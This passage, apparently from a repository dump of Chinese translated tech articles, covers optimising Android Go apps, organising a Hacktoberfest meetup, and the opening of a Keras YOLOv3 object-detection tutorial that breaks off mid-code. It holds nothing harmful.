更好的是，随着  Android App Bundle 的推出，我们能够以简单，可持续的方式减少 20％，并且这样做自然适合我们的持续集成和流程部署。总而言之，我们正在寻找适用于 Android Go 设备的 27MB \n APK; 这是我们去年发布的 90MB + 套件的一大飞跃。“\n\n\n由于这些设备的容量限制，最好将您的应用程序保持在 40MB 以下，并将游戏保持在 65MB 以下。许多 Google Play 开发者认为这是他们为什么决定优化其现有 APK 的关键原因，或者是构建针对 Android（Go 版）设备的单独 APK。以下是关于如何保持 APK 较小的一些建议：\n\n\n* **使用新的 Android App Bundle 去查看大小.**在今年的 Google I/O 上，我们发布了 Android App Bundle，这是来自 Google Play 的新发布格式。使用 Android App Bundle，您可以构建一个工程，其中应用程序包含已编译代码，资源和本地库。您不再需要为多个 APK 进行构建，签名，上传和管理版本代码。这为开发者节省了高达 65％ 的应用程序大小，并且前期工作量相对较少。要了解更多信息，请查看 [Android App Bundle](https://developer.android.com/platform/technology/app-bundle/)。\n\n\n*   **用 WebP 文件替换 PNG/JPG 文件（如果有的话）**。通过有损 WebP 压缩，可以生成几乎相同的图像，并且文件大小更小。对于矢量图形，请使用 SVG。有关更多详细信息，请查看 [数十亿的连接：优化图像](https://developer.android.com/distribute/essentials/quality/billions/connectivity.html#images)和 [WebP 概述](https://developers.google.com/speed/webp/)。\n\n* **用 MP3 或 AAC 替换原始音频格式（例如 WAV）以获取所有音频资源**。任何音质的损失都不应该被大多数用户感觉到，并且仍然会以较少的资源提供高质量的回放/音频聆听体验。\n\n*   **确保使用的库是最新的并且是必要的**。考虑删除重复库并更新废弃的库。此外，如果可用，请使用移动端优化库而不是服务器优化库。要了解更多信息，请查看 [ClassyShark](https://github.com/google/android-classyshark)。\n\n*   **保持 DEX 的合理性**。dex 代码可占用 APK 中的重要空间。考虑进一步优化代码以减小 APK 的大小。了解更多关于[减少代码的](https://medium.com/google-developers/smallerapk-part-2-minifying-code-554560d2ed40)信息，并查看我们的[为数十亿用户打造的产品指导方针中的](https://developer.android.com/distribute/essentials/quality/billions.html#appsize)相关细节。\n\n\n>[AliExpress](https://play.google.com/store/apps/details?id=com.alibaba.aliexpresshd) 知道保持他们的 APK 意味着良好的商业意识：请记住，[APK 越小，安装次数越多](https://medium.com/googleplaydev/shrinking-apks-growing-installs-5d3fcba23ce2)。” 为了保持我们的 Android Go APK 尺寸小，我们首先将我们的代码分成多个模块，然后使用产品风格来定义特定的 Go 和常规版本，“ AliExpress 高级 Android 工程师 Donghua Xun 说。” 这使我们能够选择特定功能模块（例如实时视频），从我们的 Go 版本中排除。然后，我们使用 Gradle 脚本将这个 Go-edition APK 以及我们的常规 APK 打包，所有这些都来自相同的代码库。我们还使用尺寸更小的虚拟图像覆盖了第三方库中的图像。所有这些行为导致 Android Go APK 大小减少 8.8MB，而普通 APK 大小为 43MB。“\n\n\n如果您有兴趣了解更多关于如何为用户提供按需功能的信息（从而保持初始下载大小），[请填写我们的兴趣表单](http://g.co/play/dynamicdeliverybeta)。\n\n\n#### 保持您的记忆足迹\n\n![](https://cdn-images-1.medium.com/max/800/0*A86M_KgUgfZyN-cR.)\n\nAndroid（Go 版）手机是设备上具有 <1GB RAM 的设备。该操作系统经过优化，可在低内存环境下高效运行，开发人员关注的焦点是确保其应用程序或游戏经过优化以高效利用内存。在测试 APK 时，我们看看 [PSS](https://en.wikipedia.org/wiki/Proportional_set_size)（比例集大小），了解应用程序或游戏在设备上冷启动的内存量。PSS 的测量方式是您的应用的私有内存加上您的应用在设备上使用的共享内存的比例。\n\n\n\n按照以下说明测试内存分配：\n\n1. 安装应用程序并将设备连接到工作站/笔记本电脑后，启动应用程序并等待到达欢迎屏幕（我们建议等待 5 秒钟以确保所有内容都已加载）\n\n2. 在终端中，运行命令 **adb shell dumpsys meminfo _<com.test.app>_ -d** (Where **_<com.test.app>_**（其中 <com.test.app> 是被测试的应用程序的 pkg_id，例如 com.tinder）\n\n3. 在行 Total 中记录 PssTotal 列的值（该值以 KB 报告 - > 通过除以 1000 转换为 MB）\n\n4. 重复步骤 2 和 3 多次（至少 5 次）并平均 PssTotal（KB）值\n\n> LATAM 最大的购物应用程序 [Mercado Libre](https://play.google.com/store/apps/details?id=com.mercadolibre) 通过将精力集中在应用程序的体系结构上，能够解决内存分配和 APK 大小需求。”为了缩小我们 APK 的规模，我们首先通过架构和密度实现了多 APK，然后通过 ProGuard 在外部库中分离出任何额外的类或资源，“ Mercado Libre 的工程师 Nicolas Palermo 说。” 从那里，我们通过分析确认是否需要某些库，并删除那些我们不必要的库来关注我们的代码和资源。我们所有的图像都在可能的情况下更改为 WebP，并且任何未转换为 WebP 的图像都严格按照我们所需的质量进行压缩。最后，我们使用 APK 分析器了解更多关于我们的内存使用情况，以确保我们的 PSS 在可接受的范围内。“\n\n\n> “我开始瞄准 SDK 26，以确保用户获得最新的 Android 体验。从那里，我找到了所有的静态函数和静态变量，看看它们是否真的有必要，然后删除那些没有的东西。为了在 Activities 和 Fragments 之间传值，可以用公共接口替换公共静态函数，”预算应用程序 [Gastos Diarios 3 的](https://play.google.com/store/apps/details?id=mic.app.gastosdiarios)创建者 Michel Carvajal 说。他补充说：“我还找到了诸如 While 和 For 这样的循环，用于读取数据库的执行操作，并尝试使用 AsyncTask 将大部分这些进程放入异步类中。最后，我搜索了不明确的 SQL 语句以取代更高效的 SQL 语句。所有这些项目以及其他一些项目共同帮助我将 PSS 降低了近 60％。\n\n#### 保持冷启动时间在 5 秒以下\n\n感知是关键。在用户测试和研究中，等待应用程序或游戏加载5秒后，人们会感到沮丧，这会导致放弃和卸载。您应该把它当作您的窗口，以确保您拥有一个用户，并且不要让他们有机会在他们的手机上安装您的应用后放弃您的应用。我们总是测量冷启动时间，因为这段时间是您的应用程序与用户充分交互。完成重新启动测试设备后，最好在冷启动时间内运行测试。\n\n>“在考虑尺寸要求时，我们将工作重点放在图像压缩格式，声音片段长度和图像分辨率上，”  [Sachin Saga Cricket Champions](https://play.google.com/store/apps/details?id=com.jetplay.sachinsagacc) 制造商 JetSynthesys 生产副总裁 Amitabh Lakhera 说。“ 对于启动时间优化，减少数据加载，设置和后台实用程序，有助于节省大量时间。除了优化游戏着色器，并避免像玩家档案一样的检查，游戏平衡文件和强制更新显着加快了游戏开始。在启动时删除互联网连接并使用反作弊工具可防止玩家在游戏中出现任何潜在的不当行为，并减少内存使用量。”\n\n总体而言，当您考虑如何让 Android 应用程序准备就绪（Go 版）时，请记住上述各种优化和调整。通过使用上述指导，所有开发人员已经完成了优化其应用和游戏的工作，我相信您将能够取得类似的成果！如果您想了解有关 Android Go 的构建以及如何针对全球市场进行优化的更多信息，请查看今年的 Google I/O 会话。\n\nYouTube 视频链接：https://youtu.be/-g7yxxTpF2o?list=PLWz5rJ2EKKc9Gq6FEnSXClhYkWAStbwlC\n\n* * *\n\n### **您怎么认为？**\n\n您有没有想过如何开发全球市场并优化您的应用策略？请在下面的评论中告诉我们，或者使用 **#AskPlayDev **发**微博**，我们会回复 [@GooglePlayDev](http://twitter.com/googleplaydev)，我们会定期分享有关如何在 Google Play 上取得成功的新闻和建议。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-organize-a-hacktoberfest-themed-meetup.md",
    "content": "> * 原文地址：[How to organize a Hacktoberfest-themed meetup](https://hacktoberfest.digitalocean.com/eventkit)\n> * 原文作者：[hacktoberfest](https://hacktoberfest.digitalocean.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-organize-a-hacktoberfest-themed-meetup.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-organize-a-hacktoberfest-themed-meetup.md)\n> * 译者：[jianboy](https://github.com/jianboy)\n> * 校对者：[suineJWL](https://github.com/suineJWL)\n\n# 如何组织 Hacktoberfest 主题聚会\n\n### 步骤\n\n1. 制定活动日程。\n2. 设定日期：确认您的首选场地以及所有协办单位、演讲者和主持人是否到位。\n3. 推广活动：邀请您的社区人员参加。别忘了在[这里](http://do.co/hacktoberfest18event)添加您的活动！\n4. 活动氛围：营造开放，包容，温馨的活动氛围。\n5. 在社交媒体上分享活动的精彩时刻。（使用与会者照片前，记得征得本人同意。）\n\n### 邀请谁来参加聚会\n\n任何有兴趣了解的人或开源项目贡献者。\n\n### 举办聚会的最佳时间？\n\n最好在 10 月前半个月期间，让参加者完成 5 个 PR (Pull Request) 任务！\n\n### 在哪里举办活动\n\n就近、设施齐全、环境舒适、且 WiFi 稳定、适合打代码的地方，例如：\n\n*   大学教室\n*   共享办公空间\n*   孵化基地\n*   开源/科技公司的办公室\n*   任何有你的地方！\n\n### 议程示例\n\n这只是一个建议 —— 您可以随意修改它以适合您的社区！\n\n*  **欢迎语** 营造一个热情、开放、包容的氛围。感谢大家出席，向他们介绍你自己，概述当天白天/晚上的节目，并提醒他们行为准则。\n*   **Hacktoberfest 简介：庆祝活动，奖品和说明** 提及 Hacktoberfest 的关键点很重要，例如：“Hacktoberfest 活动就是鼓励对开源生态系统做出有意义的贡献，对于初学者和资深人员来说都是如此。”\n*   **开源简介** 请参阅[参考资料](https://hacktoberfest.digitalocean.com/#resources)。\n*   **研讨会：如何为开源做贡献** 请参阅[参考资料](https://hacktoberfest.digitalocean.com/#resources)。\n*   **演示 [可选；在 hack 活动前后]** 任何有兴趣分享他们的开源项目的人都可以进行 3–5 分钟演示。\n*   **Hack 活动** 共同 Hacking：由兴趣促进群组的形成。\n\n### 演讲者和主持人\n\n鼓励您和您的协办单位为研讨会提供赞助！（记住了！）如果您需要额外的帮助，请邀请开源项目所有者/维护者，对开源感兴趣的领导者，以及支持社区开源的计算机科学教育工作者参加会议，发言或提供帮助。如果您的社区中有经验丰富的开源爱好者，请通过电子邮件或 Twitter 与他们联系！最糟糕的结果也就是他们无法与会，（但你要去联系）\n\n### 照片分享\n\n鼓励活动参与者以 #hacktoberfest 为话题在社交媒体上分享照片。（请注意与会者是否愿意照相 —— 不要强迫给不愿意照相的人照相！）\n\n>文章 [#Hacktoberfest](https://www.instagram.com/p/_cgvl-OW_W/?utm_source=ig_embed)\n>\n> 由 [Coston](https://www.instagram.com/costonperkins/?utm_source=ig_embed) (@costonperkins) 在太平洋标准时间 2015 年 12 月 18 日上午 11:49 分享。\n\n### 食物和饮料\n\n您的社区将享受的美味佳肴！额外奖励：增加一个[秋收节/中秋节](https://www.pinterest.com/explore/fall-party-foods/)或[慕尼黑啤酒节](https://www.pinterest.com/explore/oktoberfest-party/)等节日活动。请考虑到食物过敏、偏好和当地酒精消费法律法规（如果饮酒）。\n\n### 其他有趣的想法\n\n*   晚会上第一个完成 Pull 请求的获得奖品。\n*   晚会结束时，分发 3-5 个奖品.。\n*   通过邀请参与者分享他们学习/工作的经验来总结活动。\n\n### 行为准则\n\nHacktoberfest 活动欢迎各位来宾，能给您一个开放、包容的氛围。在您的活动页面上添加以下内容：“请在出席之前阅读我们的[活动行为准则](https://docs.google.com/document/d/1gFKOhyUqMZzrZcbq8A_TpO5x9J9HK6agv70awCH8pyI/edit?usp=sharing)。希望您 hacking 愉快！”\n\n## 宣传你的活动\n\n1.  通过电子邮件，社交网络和/或印刷传单分享活动。考虑在您所在地区的开发人员和开源爱好者的发帖途径，包括但不限于：\n    *   Meetup: 您自己的 Meetup 页面，如果您想举行官方 [DigitalOcean 聚会](http://www.meetup.com/pro/digitalocean/)，请[与我们联系](mailto:domeetups@digitalocean.com)\n    *   Twitter、Facebook、LinkedIn 群组和 Google 论坛\n    *   定期分享启动/技术活动的简报，网站和社交媒体帐户\n    *   当地编程学校\n2.  在[此处](http://do.co/hacktoberfest18event)添加您的聚会活动。\n\n### 标识和品牌\n\n ![](https://hacktoberfest.digitalocean.com/assets/postcards-e72b4f64502b90d122a4374b90c67dd339951b1ca05f00a3eb8e7ceddd0ed3f0.png)\n\n#### 推广您的活动\n\n标志，横幅，海报等等！我们恳请您在分享您的活动/内容时采用 Hacktoberfest 品牌指南。\n\n[下载资源](https://assets.digitalocean.com/hacktoberfest/hacktoberfest_2018_brand_assets.zip)\n\n### 活动页面的样本副本\n\n**活动名称的创意**\n\n*   Hacktoberfest 开放黑客之夜\n*   Hacktoberfest 开放黑客大会\n*   [上海/其他城市] Hacktoberfest 节！\n*   Hacktoberfest 打开黑客帝国！\n\n**描述**\n\n它是 2018 年的 Hacktoberfest 聚会！让我们通过食物、饮料、学习来庆祝开源以及伟大的公司！\n\n**议程**\n\n[时间] [主题] [时间] [主题] [时间] [主题] [时间] [主题]\n\n**什么是 Hacktoberfest？**\n\nHacktoberfest —— 由 DigitalOcean 与 GitHub 和 Twilio 合作推出 —— 是一个为期一个月的开源软件庆典。我们邀请维护者来知道潜在贡献者来解决问题，推动项目进展，并且贡献者有机会回馈他们喜欢的项目以及他们刚刚发现的项目。贡献再小，也是贡献 —— 错误修复和文档更新是有效的参与方式。\n\n不能参加这个活动吗？Hacktoberfest 在虚拟网络上进行，对来自世界各地的参与者开放。[立即注册参加](https://hacktoberfest.digitalocean.com/)。\n\n**规则和奖品**\n\n首先在 Hacktoberfest 网站上注册。如果你在 10 月 1 日到 10 月 31 日期间提出五个 Pull 请求，你将免费获得一件限量版 Hacktoberfest T恤。（Pull 请求不必合并和接受；只要它们在 10 月 1 日到 10 月 31 日之间被打开，他们就会计入一件免费的 T 恤。）\n\n通过在您选择的社交媒体平台上使用话题 #hacktoberfest，与其他 Hacktoberfest 参与者（Hacktobefestants？）联系。\n\nDigitalOcean 新手？在 [do.co/hacktoberfest2018](https://do.co/hacktoberfest2018) 获得 10 美元的体验金。\n\n## 资源\n\n### Git\n\n*   [GitHub 学习实验室](https://lab.github.com/)\n*   [如何在 GitHub 上创建一个 Pull 请求](https://www.digitalocean.com/community/tutorials/how-to-create-a-pull-request-on-github)\n*   [GitHub 培训套件](https://github.com/github/training-kit)：用于教授 Git 和 GitHub 课程的开源幻灯片，工作簿和备忘单课件\n*   [了解 GitHub 流程](https://guides.github.com/introduction/flow/)\n*   [GitHub 培训课程和网络广播](https://services.github.com/training/)\n*   [Patchwork](http://patchwork.github.io/)：为初学者提供 Git 和 GitHub 的休闲辅导研讨会\n*   [GitHub 的更多资源](https://services.github.com/resources/)\n\n### 开源\n\n[开源 101](https://opensource.guide/how-to-contribute)\n\n### 在哪里可以找到开源项目？\n\n[GitHub](https://help.github.com/articles/where-can-i-find-open-source-projects-to-work-on/)\n\n[Hacktoberfest](https://hacktoberfest.digitalocean.com/#projects)\n\n在[Hacktoberfest site](https://hacktoberfest.digitalocean.com/#resources)上找到更多资源和有用的提示。\n\n## 活动组织者网络研讨会\n\n了解规划和举行 Hacktoberfest 聚会的最佳实践，了解您可能面临的挑战，以及如何创建最佳协作环境的问题。另外，请在我们现场直播提问！会议将被录制并在此后发布。\n\n预订你的位置：\n\n[9 月 11 日 — APAC](https://www.eventbrite.com/e/organizing-a-hacktoberfest-meetup-webinar-asia-tickets-49209586197) 北京时间 20:30–21:30/ 格林尼治标准时间 12:30–13:30/ 美国东部时间 8:30–9:30\n\n[9 月 13 日 — EMEA](https://www.eventbrite.com/e/organizing-a-hacktoberfest-meetup-webinar-europe-tickets-49209562125) 格林尼治标准时间 17:00–18:00/ 美国东部时间 13:00–14:00\n\n[9 月 20 日 — Americas](https://www.eventbrite.com/e/organizing-a-hacktoberfest-meetup-webinar-north-america-tickets-49135679139) 太平洋时间 15:00–16:00/ 美国东部时间 18:00–18:59/ 格林尼治标准时间 22:00–22:59\n\n## 常见问题解答\n\n**为什么要举办 Hacktoberfest 主题聚会？**\n\n*   提高社区对开源的认识\n*   享受社交环境中的开源贡献\n*   亲自与项目所有者、维护者、贡献者和社区成员会面\n*   了解开源生态系统：从如何启动开源项目到营销项目、持续增长、以及故障排除和维护\n\n**组织者：基于社区的最大利益，为您的活动定下基调！ 随意关注上述任何组合，以及更多！**\n\n**我如何注册 Hacktoberfest？**\n\n在 [hacktoberfest.digitalocean.com](https://hacktoberfest.digitalocean.com/) 注册您的 GitHub 凭据。\n\n**什么时候可以注册？**\n\n您可以在 10 月 1 日至 10 月 31 日之间的任何时间注册。\n\n**谁可以参加 Hacktoberfest？**\n\nHacktoberfest 向全球社区的每个人开放！\n\n**规则是什么？**\n\n要赢得一件衬衫，你必须在 Hacktoberfest 网站上注册，并在 10 月 31 日之前在 GitHub 上完成五个 Pull 请求。（Pull 请求不必合并和接受;只要它们在 10 月 1 日到 10 月 31 日之间被打开，它们就会计入一件免费的T恤。）\n\n**在哪里发起 Pull 请求？**\n\n可以在任何 GitHub 托管的存储库/项目中进行拉取请求。\n\n**如果我在 10 月 31 日之前没有完成五个 Pull 请求怎么办？**\n\n参与的每个人都会收到限量版的 Hacktoberfest 贴纸 —— 无论你是否完成了五个 Pull 请求。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-perform-object-detection-with-yolov3-in-keras.md",
    "content": "> * 原文地址：[How to Perform Object Detection With YOLOv3 in Keras](https://machinelearningmastery.com/how-to-perform-object-detection-with-yolov3-in-keras/)\n> * 原文作者：[Jason Brownlee](https://machinelearningmastery.com/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-perform-object-detection-with-yolov3-in-keras.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-perform-object-detection-with-yolov3-in-keras.md)\n> * 译者：[Daltan](https://github.com/Daltan)\n> * 校对者：[lsvih](https://github.com/lsvih), [zhmhhu](https://github.com/zhmhhu)\n\n# 如何在 Keras 中用 YOLOv3 进行对象检测\n\n对象检测是计算机视觉的一项任务，涉及对给定图像识别一个或多个对象的存在性、位置、类型等属性。\n\n然而，如何找到合适的方法来解决对象识别（它们在哪）、对象定位（其程度如何）、对象分类（它们是什么）的问题，是一项具有挑战性的任务。\n\n多年来，在诸如标准基准数据集和计算机视觉竞赛领域等对象识别方法等方面，深度学习技术取得了先进成果。其中值得关注的是 YOLO（You Only Look Once），这是一种卷积神经网络系列算法，通过单一端到端模型实时进行对象检测，取得了几乎是最先进的结果。\n\n本教程教你如何建立 YOLOv3 模型，并在新图像上进行对象检测。\n\n学完本教程，你会知道：\n\n- 用于对象检测的、基于卷积神经网络系列模型的 YOLO 算法，和其最新变种 YOLOv3。\n- 使用 Keras 深度学习库的 YOLOv3 开源库的最佳实现。\n- 如何使用预处理过的 YOLOv3，来对新图像进行对象定位和检测。\n\n我们开始吧。\n\n![How to Perform Object Detection With YOLOv3 in Keras](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/05/How-to-Perform-Object-Detection-With-YOLOv3-in-Keras.jpg)\n\n如何在 Keras 中用 YOLOv3 进行对象检测\n[David Berkowitz](https://www.flickr.com/photos/davidberkowitz/5699832418/) 图，部分权利保留。\n\n## 教程概览\n\n本教程分为三个部分，分别是：\n\n1. 用于对象检测的 YOLO\n2. Experiencor 的 YOLO3 项目\n3. 用 YOLOv3 进行对象检测\n\n## 用于对象检测的 YOLO\n\n\n对象检测是计算机视觉的任务，不仅涉及在单图像中对一个或多个对象定位，还涉及在该图像中对每个对象进行分类。\n\n对象检测这项富有挑战性的计算机视觉任务，不仅需要在图像中成功定位对象、找到每个对象并对其绘制边框，还需要对定位好的对象进行正确的分类。\n\nYOLO（You Only Look Once）是一系列端到端的深度学习系列模型，用于快速对象检测，由 [Joseph Redmon](https://pjreddie.com/) 等人于 2015 年的论文[《You Only Look Once：统一实时对象检测》](https://arxiv.org/abs/1506.02640)中首次阐述。\n\n该方法涉及单个深度卷积神经网络（最初是 GoogLeNet 的一个版本，后来更新了，称为基于 VGG 的 DarkNet），将输入分成单元网格，每个格直接预测边框和对象分类。得到的结果是，大量的候选边界框通过后处理步骤合并到最终预测中。\n\n在写本文时有三种主要变体：YOLOv1、YOLOv2、YOLOv3。第一个版本提出了通用架构，而第二个版本则改进了设计，并使用了预定义的锚定框来改进边界框方案，第三个版本进一步完善模型架构和训练过程。\n\n虽然模型的准确性略逊于基于区域的卷积神经网络（R-CNN），但由于 YOLO 模型的检测速度快，因此在对象检测中很受欢迎，通常可以在视频或摄像机的输入上实时显示检测结果。\n\n> 在一次评估中，单个神经网络直接从完整图像预测边界框和类别概率。由于整个检测管道是一个单一的网络，因此可以直接对检测性能进行端到端优化。\n\n- — [You Only Look Once: Unified, Real-Time Object Detection](https://arxiv.org/abs/1506.02640), 2015.\n\n本教程专注于使用 YOLOv3。\n\n## 在 Keras 项目中实践 YOLO3\n\n每个版本的 YOLO 源代码以及预先训练过的模型都可以下载得到。\n\n官方仓库 [DarkNet GitHub](https://github.com/pjreddie/darknet) 中，包含了论文中提到的 YOLO 版本的源代码，是用 C 语言编写的。该仓库还提供了分步使用教程，来教授如何用代码进行对象检测。\n\n从头开始实现这个模型确实很有挑战性，特别是对新手来说，因为需要开发很多自定义的模型元素，来进行训练和预测。例如，即使是直接使用预先训练过的模型，也需要复杂的代码来提取和解释模型输出的预测边界框。\n\n我们可以使用第三方实现过的代码，而不是从头开始写代码。有许多第三方实现是为了在 Keras 中使用 YOLO 而设计的，但没有一个实现是标准化了并设计为库来使用的。\n\n[YAD2K 项目](https://github.com/allanzelener/YAD2K) 是事实意义上的 YOLOv2 标准，它提供了将预先训练的权重转换为 Keras 格式的脚本，使用预先训练的模型进行预测，并提供提取解释预测边界框所需的代码。许多其他第三方开发人员已将此代码用作起点，并对其进行了更新以支持 YOLOv3。\n\n使用预训练的 YOLO 模型最广泛使用的项目可能就是 “[keras-yolo3：使用 YOLO3 训练和检测物体](https://github.com/experiencor/keras-yolo3)”了，该项目由 [Huynh Ngoc Anh ](https://www.linkedin.com/in/ngoca/) 开发，也可称他为 Experiencor。该项目中的代码已在 MIT 开源许可下提供。与 YAD2K 一样，该项目提供了可用于加载和使用预训练的 YOLO 模型的脚本，也可在新数据集上开发基于 YOLOv3 的迁移学习模型。\n\nExperiencor 还有一个 [keras-yolo2](https://github.com/experiencor/keras-yolo2) 项目，里面的代码和 YOLOv2 很像，也有详细教程教你如何使用这个仓库的代码。[keras-yolo3](https://github.com/experiencor/keras-yolo3) 似乎是这个项目的更新版。\n\n有意思的是，Experiencor 以这个模型为基础做了些实验，在诸如袋鼠数据集、racoon 数据集、红细胞检测等等标准对象检测问题上，训练了 YOOLOv3 的多种版本。他列出了模型表现结果，还给出了模型权重以供下载，甚至还发布了展示模型表现结果的 YouTube 视频。比如：\n\n*   [Raccoon Detection using YOLO 3](https://www.youtube.com/watch?v=lxLyLIL7OsU)\n\n本教程以 Experiencor 的 keras-yolo3 项目为基础，使用 YOLOv3 进行对象检测。\n\n这里是 [创作本文时的代码分支](https://github.com/jbrownlee/keras-yolo3)，以防仓库发生变化或被删除（这在第三方开源项目中可能会发生）。\n\n## 用YOLOv3进行对象检测\n\nkeras-yolo3 项目提供了很多使用 YOLOv3 的模型，包括对象检测、迁移学习、从头开始训练模型等。\n\n本节使用预训练模型对未见图像进行对象检测。用一个该仓库的 Python 文件就能实现这个功能，文件名是 [yolo3\\_one\\_file\\_to\\_detect\\_them\\_all.py](https://raw.githubusercontent.com/experiencor/keras-yolo3/master/yolo3_one_file_to_detect_them_all.py)，有 435 行。该脚本其实是用预训练权重准备模型，再用此模型进行对象检测，最后输出一个模型。此外，该脚本依赖 OpenCV。\n\n我们不直接使用该程序，而是用该程序中的元素构建自己的脚本，先准备并保存 Keras YOLOv3 模型，然后加载并对新图像进行预测。\n\n### 创建并保存模型\n\n第一步是下载预训练的模型权重。\n\n下面是基于 MSCOCO 数据集、使用 DarNet 代码训练好的模型。下载模型权重，并置之于当前工作路径，重命名为 **yolov3.weights**。文件很大，下载下来可能需要一会，速度跟你的网络有关。\n\n*   [YOLOv3 Pre-trained Model Weights (yolov3.weights) (237 MB)](https://pjreddie.com/media/files/yolov3.weights)\n\n下一步是定义一个 Keras 模型，确保模型中层的数量和类型与下载的模型权重相匹配。模型构架称为 DarkNet ，最初基本上是基于 VGG-16 模型的。\n\n脚本文件 [yolo3\\_one\\_file\\_to\\_detect\\_them\\_all.py](https://raw.githubusercontent.com/experiencor/keras-yolo3/master/yolo3_one_file_to_detect_them_all.py) 提供了 make\\_yolov3\\_model() 函数，用来创建模型，还有辅助函数 \\_conv\\_block()，用来创建层块。两个函数都能从该脚本中复制。\n\n现在定义 YOLOv3 的 Keras 模型。\n\n```\n# define the model\nmodel  =  make_yolov3_model()\n```\n\n接下来载入模型权重。DarkNet 用的权重存储形式不重要，我们也无需手动解码，用脚本中的 **WeightReader** 类就可以。\n\n要想用 **WeightReader**，先得把权重文件（比如 **yolov3.weights**）的路径实例化。下面的代码将解析文件并将模型权重加载到内存中，这样其格式可以在 Keras 模型中使用了。\n\n```\n# load the model weights\nweight_reader  =  WeightReader('yolov3.weights')\n```\n\n然后调用 **WeightReader** 实例的 **load_weights()** 函数，传递定义的 Keras 模型，将权重设置到图层中。\n\n```\n# set the model weights into the model\nweight_reader.load_weights(model)\n```\n\n代码如上。现在就有 YOLOv3 模型可以用了。\n\n将此模型保存为 Keras 兼容的 .h5 模型文件，以备待用。\n\n```\n# save the model to file\nmodel.save('model.h5')\n```\n\n将以上这些连在一起。代码都是从 **yolo3\\_one\\_file\\_to\\_detect\\_them\\_all.py** 复制过来的，包括函数的完整代码如下。\n\n```\n# create a YOLOv3 Keras model and save it to file\n# based on https://github.com/experiencor/keras-yolo3\nimport struct\nimport numpy as np\nfrom keras.layers import Conv2D\nfrom keras.layers import Input\nfrom keras.layers import BatchNormalization\nfrom keras.layers import LeakyReLU\nfrom keras.layers import ZeroPadding2D\nfrom keras.layers import UpSampling2D\nfrom keras.layers.merge import add, concatenate\nfrom keras.models import Model\n\ndef _conv_block(inp, convs, skip=True):\n\tx = inp\n\tcount = 0\n\tfor conv in convs:\n\t\tif count == (len(convs) - 2) and skip:\n\t\t\tskip_connection = x\n\t\tcount += 1\n\t\tif conv['stride'] > 1: x = ZeroPadding2D(((1,0),(1,0)))(x) # peculiar padding as darknet prefer left and top\n\t\tx = Conv2D(conv['filter'],\n\t\t\t\t   conv['kernel'],\n\t\t\t\t   strides=conv['stride'],\n\t\t\t\t   padding='valid' if conv['stride'] > 1 else 'same', # peculiar padding as darknet prefer left and top\n\t\t\t\t   name='conv_' + str(conv['layer_idx']),\n\t\t\t\t   use_bias=False if conv['bnorm'] else True)(x)\n\t\tif conv['bnorm']: x = BatchNormalization(epsilon=0.001, name='bnorm_' + str(conv['layer_idx']))(x)\n\t\tif conv['leaky']: x = LeakyReLU(alpha=0.1, name='leaky_' + str(conv['layer_idx']))(x)\n\treturn add([skip_connection, x]) if skip else x\n\ndef make_yolov3_model():\n\tinput_image = Input(shape=(None, None, 3))\n\t# Layer  0 => 4\n\tx = _conv_block(input_image, [{'filter': 32, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 0},\n\t\t\t\t\t\t\t\t  {'filter': 64, 'kernel': 3, 'stride': 2, 'bnorm': True, 'leaky': True, 'layer_idx': 1},\n\t\t\t\t\t\t\t\t  {'filter': 32, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 2},\n\t\t\t\t\t\t\t\t  {'filter': 64, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 3}])\n\t# Layer  5 => 8\n\tx = _conv_block(x, [{'filter': 128, 'kernel': 3, 'stride': 2, 'bnorm': True, 'leaky': True, 'layer_idx': 5},\n\t\t\t\t\t\t{'filter':  64, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 6},\n\t\t\t\t\t\t{'filter': 128, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 